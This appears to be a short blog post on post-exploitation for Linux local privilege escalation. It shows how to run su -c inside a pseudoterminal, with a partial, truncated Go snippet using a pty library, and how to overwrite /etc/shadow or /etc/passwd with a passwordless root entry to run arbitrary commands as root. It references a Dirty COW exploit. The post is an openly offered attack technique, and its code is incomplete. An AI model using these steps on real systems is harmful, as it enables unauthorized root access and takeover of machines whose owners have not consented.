su -c

su -c is convenient to use, but, when you use it in your LPE exploit, hoping it to execute your command, you will probably get

su: must be run from a terminal

the obvious solution is give it a "terminal" to run from

there's a forkpty function provided by pty.h, linked with -lutil

a dirtycow exploit takes advantage of forkpty to execute su in a pseudoterminal, then fill in password to spawn shell

what i recommend to use, is a pure-Go implementation, you can write something like:

package main

import (


func main() {
    c := exec.Command("su", "-c <your command>")
    _, err := pty.Start(c)
    if err != nil {

compile it without CGO, the resulting binary is fully static, has no dependencies (almost)

to use it, overwrite /etc/shadow or /etc/passwd with root::16431:0:99999:7::: (clear root password, when not applicable, add a different account)

then call our go program to run arbitrary command as root


comments powered by Disqus